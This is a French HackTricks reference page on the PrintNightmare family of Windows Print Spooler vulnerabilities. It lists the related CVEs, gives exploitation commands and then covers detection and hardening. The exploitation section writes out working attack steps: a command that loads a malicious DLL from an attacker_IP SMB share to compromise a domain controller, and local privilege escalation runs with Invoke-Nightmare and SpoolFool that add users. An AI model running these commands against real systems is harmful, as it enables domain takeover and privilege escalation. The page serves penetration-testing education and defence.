PrintNightmare (Windows Print Spooler RCE/LPE)

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

PrintNightmare est le nom collectif donnĂ© Ă  une famille de vulnĂ©rabilitĂ©s dans le service Print Spooler de Windows qui permettent l'exĂ©cution de code arbitraire en tant que SYSTEM et, lorsque le spooler est accessible via RPC, l'exĂ©cution de code Ă  distance (RCE) sur les contrĂŽleurs de domaine et les serveurs de fichiers. Les CVEs les plus largement exploitĂ©s sont CVE-2021-1675 (initialement classĂ© comme LPE) et CVE-2021-34527 (RCE complet). Des problĂšmes ultĂ©rieurs tels que CVE-2021-34481 (“Point & Print”) et CVE-2022-21999 (“SpoolFool”) prouvent que la surface d'attaque est encore loin d'ĂȘtre fermĂ©e.


1. Composants vulnérables & CVEs

AnnéeCVENom courtPrimitiveRemarques
2021CVE-2021-1675“PrintNightmare #1”LPECorrigĂ© dans le CU de juin 2021 mais contournĂ© par CVE-2021-34527
2021CVE-2021-34527“PrintNightmare”RCE/LPEAddPrinterDriverEx permet aux utilisateurs authentifiĂ©s de charger un DLL de pilote Ă  partir d'un partage distant
2021CVE-2021-34481“Point & Print”LPEInstallation de pilote non signĂ© par des utilisateurs non administrateurs
2022CVE-2022-21999“SpoolFool”LPECrĂ©ation de rĂ©pertoires arbitraires → Plantage de DLL – fonctionne aprĂšs les correctifs de 2021

Tous abusent de l'une des méthodes RPC MS-RPRN / MS-PAR (RpcAddPrinterDriver, RpcAddPrinterDriverEx, RpcAsyncAddPrinterDriver) ou des relations de confiance à l'intérieur de Point & Print.

2. Techniques d'exploitation

2.1 Compromission du contrĂŽleur de domaine Ă  distance (CVE-2021-34527)

Un utilisateur de domaine authentifié mais non privilégié peut exécuter des DLL arbitraires en tant que NT AUTHORITY\SYSTEM sur un spooler distant (souvent le DC) en :

powershell
# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support

# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local  'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'

Les PoCs populaires incluent CVE-2021-1675.py (Python/Impacket), SharpPrintNightmare.exe (C#) et les modules misc::printnightmare / lsa::addsid de Benjamin Delpy dans mimikatz.

2.2 ÉlĂ©vation de privilĂšges locale (tous les Windows pris en charge, 2021-2024)

La mĂȘme API peut ĂȘtre appelĂ©e localement pour charger un pilote depuis C:\Windows\System32\spool\drivers\x64\3\ et obtenir des privilĂšges SYSTEM :

powershell
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!

2.3 SpoolFool (CVE-2022-21999) – contournement des correctifs de 2021

Les correctifs de Microsoft de 2021 ont bloqué le chargement de pilotes à distance mais n'ont pas durci les permissions des répertoires. SpoolFool abuse du paramÚtre SpoolDirectory pour créer un répertoire arbitraire sous C:\Windows\System32\spool\drivers\, dépose une DLL de charge utile et force le spouleur à la charger :

powershell
# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll

# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll

L'exploit fonctionne sur Windows 7 → Windows 11 entiĂšrement patchĂ© et Server 2012R2 → 2022 avant les mises Ă  jour de fĂ©vrier 2022


3. Détection & chasse

  • Journaux d'Ă©vĂ©nements – activez les canaux Microsoft-Windows-PrintService/Operational et Admin et surveillez l'ID d'Ă©vĂ©nement 808 “Le spouleur d'impression a Ă©chouĂ© Ă  charger un module plug-in” ou les messages RpcAddPrinterDriverEx.
  • Sysmon – ID d'Ă©vĂ©nement 7 (Image chargĂ©e) ou 11/23 (Écriture/suppression de fichier) Ă  l'intĂ©rieur de C:\Windows\System32\spool\drivers\* lorsque le processus parent est spoolsv.exe.
  • LignĂ©e des processus – alertes chaque fois que spoolsv.exe gĂ©nĂšre cmd.exe, rundll32.exe, PowerShell ou tout binaire non signĂ©.

4. Atténuation & durcissement

  1. Mettez Ă  jour ! – Appliquez la derniĂšre mise Ă  jour cumulative sur chaque hĂŽte Windows ayant le service Print Spooler installĂ©.
  2. DĂ©sactivez le spouleur lĂ  oĂč il n'est pas nĂ©cessaire, en particulier sur les contrĂŽleurs de domaine :
powershell
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
  1. Bloquez les connexions Ă  distance tout en permettant l'impression locale – StratĂ©gie de groupe : Configuration de l'ordinateur → ModĂšles administratifs → Imprimantes → Autoriser le spouleur d'impression Ă  accepter les connexions des clients = DĂ©sactivĂ©.
  2. Restreindre Point & Print afin que seuls les administrateurs puissent ajouter des pilotes en définissant la valeur du registre :
cmd
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f

Guide détaillé dans Microsoft KB5005652


5. Recherche / outils connexes

  • mimikatz printnightmare modules
  • SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
  • Exploit SpoolFool & compte rendu
  • Micropatches 0patch pour SpoolFool et d'autres bugs de spouleur

Lecture complĂ©mentaire (externe) : Consultez le billet de blog de 2024 – Understanding PrintNightmare Vulnerability

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks